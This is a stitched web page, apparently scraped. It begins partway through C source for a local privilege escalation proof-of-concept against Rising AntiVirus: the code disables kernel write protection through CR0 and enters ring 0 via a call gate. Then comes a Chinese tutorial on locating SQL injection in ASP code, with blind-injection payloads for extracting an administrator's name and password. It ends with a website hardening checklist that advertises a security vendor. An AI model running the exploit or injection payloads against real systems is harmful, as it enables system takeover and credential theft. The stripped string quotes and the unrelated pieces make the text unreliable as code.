pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hMole);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hMole+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hMole+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hMole+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf(Rising AntiVirus 2008 ~ 2010
Local Privilege Escalation Vulnerability Proof Of Concept Exploit
2010-1-27
);
g_RsGdiHandle = CreateFile(\\.\RSNTGDI ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION MoleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetMoleHandle(ntdll.dll);
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , NtQuerySystemInformation);
ULONG infosize = sizeof(MoleInfo);
__asm
{
push 0
push infosize
lea eax , MoleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)MoleInfo.Mole[0].ImageName + MoleInfo.Mole[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , KeServiceDescriptorTable);
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)MoleInfo.Mole[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)MoleInfo.Mole[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}
9. 注入漏洞的檢測方法
目前比較准確的檢測注入漏洞的方法是進行網站漏洞掃描，推薦EeSafe網站安全聯盟。
查找與修補
一、注入點的查找
當我們想要測試某個站點時，一般會架上注入工具對其狂轟亂炸，這樣做雖然有時能找到注入點，但還是有些盲目，我個人的看法是：如果有源碼的話，就從源碼入手，在源碼中查找注入點。對於源碼，有些朋友可能覺得很難，其實源碼並不神秘，它也是有一定的語法規則的，看一套優秀的源碼就像是在欣賞一部精美的電影，只要我們堅持每天看一些優秀源碼，再加上網路這個老師的指點，用不了多久，源碼的神秘面紗就會被你揭去。閑話少說，下面我們就開始查找注入點，目標有兩個：一是Request，二是SQL語句。
說到Request，這個是ASP程序中的一個內建對象，怎麼？不懂？那就跟我先來惡補一下吧！它是用來獲取客戶端信息的，有五種方法，而會出現注入點的一般有以下三種：
1、Request.QueryString：取得客戶端提交的信息。當Form以Get方法提交信息，或是直接在URL中提交變數值時，在伺服器端接收數據時採用的就是這種方法。
2、Request.Form：同樣也是取得客戶端提交的信息，但它接收的是Form以Post方法提交的信息。
3、Request.Cookies：取得客戶端瀏覽器的Cookies信息。Cookies就是小甜餅，指的是一些私人信息，如用戶名、密碼之類的信息。
有些程序員為了減少錯誤，對於前兩種信息的獲取，會採用Request來取得客戶端提交的信息，這種方法，雖然可以通吃Request.QueryString和Request.Form的提交信息，但如果過濾的不好，就會被漏洞反咬一口。
了解過一些Request的知識後，下面就在「查找」中輸入「request」進行搜索，OK！當找到上面所列的三項Request語句後，再來看一下程序對這些Request語句是否做了過濾，比如ID值是否用INT過濾，例：id=int(request(id))；字元串值是否用replace ()或instr()等函數進行過濾單引號或一些特殊字元，例：username=replace(request(username),, )；或者程序是否採用本身的一些過濾函數來過濾這些提交值。從查找到這句request參數起，一直到SQL語句中使用這個提交值至，如果中間沒有上面的層層關卡，那麼，一個注入點，基本上就算是出現了。
說到SQL語句，不能不提到以下幾個常用的語句：
1、查詢語句：Select [(<欄位名1> [,<欄位名2>, ...])] FROM <表名JMDCW> [Where <條件表達式> [AND|OR <條件表達式>...]
2、更新語句：Update <表名JMDCW> SET 列名1 = 常量表達式1[,列名2 = 常量表達式2 ...] Where <條件表達式> [AND|OR <條件表達式>...]
3、刪除語句：Delete FROM〈表名JMDCW〉[Where <條件表達式> [AND|OR <條件表達式>...]]
這里不對SQL語句做介紹了。在上面列出的SQL語句中，注入點出現頻率最高的是Select語句，而注入參數的出沒地通常都是在Where之後的條件中。當一個沒有過濾的Request語句進入SQL語句後，就是注入大顯身手的時候了，不過，在進行注入之前還要先看一下該參數是直接引入，還是用單引號引入的，另外，該參數是否還應用於其他SQL語句中，然後，根據不同的信息，選擇不同的處理方式，或直接暴破，或UNION查詢，當然，如果存在注入點的程序使用的是SQL資料庫，那就不單單是得到一些重要信息，甚至還可以增加管理員。
下面用「螞蟻影院3.0」版注銷用戶(wantlogin.asp)中的一段源碼來做一下介紹：
引用
<%
if request(userid1)<> then
set rst=server.createobject(adodb.recordset)
sql=select money,online from users where userid=&request(userid1)& and password=&md5(request(pws))&
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write<script>alert(用戶名或密碼錯誤！);history.back();</Script>
else
response.write<script>alert(恢復成功你現在可以登陸！);</Script>
response.write<script Language=Javascript>location.href = index.asp;</script>
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
在其流程中，首先判斷取得的提交值userid1是否為空，不為空的話就進入SQL語句中，驗證取得的用戶名及密碼是否和資料庫內的用戶名及密碼一致，如果不一致，則彈出「用戶名及密碼錯誤」窗口，否則，就彈出「恢復成功」的窗口。這也是一段典型的注入漏洞源碼，並且，接收的方式還是使用的 request，這就給我們提交注入語句提供了最大的方便。如果我們在URL地址中提交如下字元：http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb，因為沒有aa這個用戶，那麼就會彈出錯誤窗口，而如果我們將aa換成如下字元：aa or1=1 or 1=1，pws保持不變，這樣提交的語句到了SQL語句中就成了如下語句：
select money,online from users where userid1=aa or 1=1 or 1=1 and password=md5(bb)，以往我們所見到的測試代碼一般為「or 1=1」，而這里卻多用了一個 or ，為什麼要多用一個or呢？解釋一下，在邏輯運算符中，and的優先順序別高於or ，程序運行後會先運算後面的1=1 and password=md5(bb)，因為密碼是隨便輸入的，所以and後的password值為假，而and前的1=1雖然為真，但真and 假=假，所以，這個and的運算值為假，再來看or運算，因為前面的用戶名也是不存在的，其值當然為假，如此一來，where後的邏輯運算就成了如下表達式：假or真or假，結果值還是為真，這樣就會彈出「恢復成功」窗口，如果將其中的or 1=1 改為or 1=2，那邏輯表達式則成了：假or假or假，值當然也為假，彈出的就是「用戶名或密碼錯誤」的窗口。這樣，根據彈出窗口的不同，我們就可以構造一些特殊字元，然後猜測出需要的數據了，比如查詢管理員ID的語句，將or後的1=1更改為： 1=(Select top 1 id from admin)，這里暫用admin表示管理員表名，如果存在ID為1的管理員，那麼就會彈出「恢復成功」的窗口，否則，就證明管理員的ID不為1，那就要再用其他數字來測試。猜出管理員ID後，再把此段字元更改為猜測管理員名稱長度的字元：5<(Select len(adminname) from admin where id=1)，如為真，則證明長度大於5，否則長度小於或等於5。猜出長度後，再用asc()函數來猜測管理員的名稱：90<(select asc(mid(adminname,1,1)) from admin where id=1)，如此循環，就能暴破出管理員的名稱及密碼了。
上面提到的是Request.QueryString和Request.Form的注入方法，而Request.Cookies的注入方法則是要修改本地的Cookies值來實現的，推薦使用一些專門的Cookies修改工具，不過，用Cookies來注入相對而言，就麻煩了好多，但原理和前面的注入是一樣的，這里就不介紹了。
二、注入點的修補
在上面著重講了如何查找注入點及簡單的利用方法，當我們知道了攻後，也就明白了如何守，攻和守之間雖然是對立的，但也是相互的。明白了什麼地方存在注入點，再來修補也就容易多了。在前面查找注入點時，我也提到查看程序中是否對提交參數進行了過濾，每個程序對注入的過濾函數都不相同，我們在修補自已站點上的注入點時，可參照其他程序中的過濾函數，也可根據自已的需要，單獨過濾一些敏感的字元。這里，還是以上面的那個例子來說一下如何修補注入點。在前面的 SQL語句中有這一句：userid=&request(userid1)&，這其中對提交來的參數是用單引號來引入的，而我們能成功注入也是在提交參數中加入了單引號來閉合其語句，這樣，加入一個replace()函數對單引號進行過濾，修改後的語句為：userid= &replace(request(userid1),,)&，這樣用戶再提交帶有單引號的字元時， Replace()就會將單引號過濾為空，如此一來，提交的那些特殊字元也就失去了其意義。
當然，我們還可以在userid1進入SQL語句之前，對其長度進行一下判斷，如果超過規定的長度，就彈出錯誤，中止頁面執行並返回到指定的頁面。當然還可以借鑒一些優秀源碼中的過濾方法。總之，注入漏洞是可以避免的，即使出現了注入點，只要我們分析出其出現的原因，也就能很容易地將其修補了！
10. 求網站安全漏洞檢測程序的源代碼，誰有啊
建站一段時間後總能聽得到什麼什麼網站被掛馬，什麼網站被黑。好像入侵掛馬似乎是件很簡單的事情。其實，入侵不簡單，簡單的是你的網站的必要安全措施並未做好。
有條件建議找專業做網站安全的sine安全來做安全維護。
一：掛馬預防措施：
1、建議用戶通過ftp來上傳、維護網頁，盡量不安裝asp的上傳程序。
2、對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。這其中包括各種新聞發布、商城及論壇程
序，只要可以上傳文件的asp都要進行身份認證!
3、asp程序管理員的用戶名和密碼要有一定復雜性，不能過於簡單，還要注意定期更換。
4、到正規網站下載asp程序，下載後要對其資料庫名稱和存放路徑進行修改，資料庫文件名稱也要有一定復雜性。
5、要盡量保持程序是最新版本。
6、不要在網頁上加註後台管理程序登陸頁面的鏈接。
7、為防止程序有未知漏洞，可以在維護後刪除後台管理程序的登陸頁面，下次維護時再通過ftp上傳即可。
8、要時常備份資料庫等重要文件。
9、日常要多維護，並注意空間中是否有來歷不明的asp文件。記住：一分汗水，換一分安全!
10、一旦發現被入侵，除非自己能識別出所有木馬文件，否則要刪除所有文件。
11、定期對網站進行安全的檢測，具體可以利用網上一些工具，如sinesafe網站掛馬檢測工具！
二：掛馬恢復措施：
1.修改帳號密碼
不管是商業或不是，初始密碼多半都是admin。因此你接到網站程序第一件事情就是「修改帳號密碼」。帳號
密碼就不要在使用以前你習慣的，換點特別的。盡量將字母數字及符號一起。此外密碼最好超過15位。尚若你使用
SQL的話應該使用特別點的帳號密碼，不要在使用什麼什麼admin之類，否則很容易被入侵。
2.創建一個robots.txt
Robots能夠有效的防範利用搜索引擎竊取信息的駭客。
3.修改後台文件
第一步：修改後台里的驗證文件的名稱。
第二步：修改conn.asp，防止非法下載，也可對資料庫加密後在修改conn.asp。
第三步：修改ACESS資料庫名稱，越復雜越好，可以的話將數據所在目錄的換一下。
4.限制登陸後台IP
此方法是最有效的，每位虛擬主機用戶應該都有個功能。你的IP不固定的話就麻煩點每次改一下咯，安全第一嘛。
5.自定義404頁面及自定義傳送ASP錯誤信息
404能夠讓駭客批量查找你的後台一些重要文件及檢查網頁是否存在注入漏洞。
ASP錯誤嘛，可能會向不明來意者傳送對方想要的信息。
6.慎重選擇網站程序
注意一下網站程序是否本身存在漏洞，好壞你我心裡該有把秤。
7.謹慎上傳漏洞
據悉，上傳漏洞往往是最簡單也是最嚴重的，能夠讓黑客或駭客們輕松控制你的網站。
可以禁止上傳或著限制上傳的文件類型。不懂的話可以找你的網站程序提供商。
8. cookie 保護
登陸時盡量不要去訪問其他站點，以防止 cookie 泄密。切記退出時要點退出在關閉所有瀏覽器。
9.目錄許可權
請管理員設置好一些重要的目錄許可權，防止非正常的訪問。如不要給上傳目錄執行腳本許可權及不要給非上傳目錄給於寫入權。
10.自我測試
如今在網上黑客工具一籮筐，不防找一些來測試下你的網站是否OK。
11.例行維護
a.定期備份數據。最好每日備份一次，下載了備份文件後應該及時刪除主機上的備份文件。
b.定期更改資料庫的名字及管理員帳密。
c.借WEB或FTP管理，查看所有目錄體積，最後修改時間以及文件數，檢查是文件是否有異常，以及查看是否有異常的賬號。
網站被掛馬一般都是網站程序存在漏洞或者伺服器安全性能不達標被不法黑客入侵攻擊而掛馬的。
網站被掛馬是普遍存在現象然而也是每一個網站運營者的心腹之患。
您是否因為網站和伺服器天天被入侵掛馬等問題也曾有過想放棄的想法呢，您否也因為不太了解網站技術的問題而耽誤了網站的運營，您是否也因為精心運營的網站反反復復被一些無聊的黑客入侵掛馬感到徬彷且很無耐。有條件建議找專業做網站安全的sine安全來做安全維護。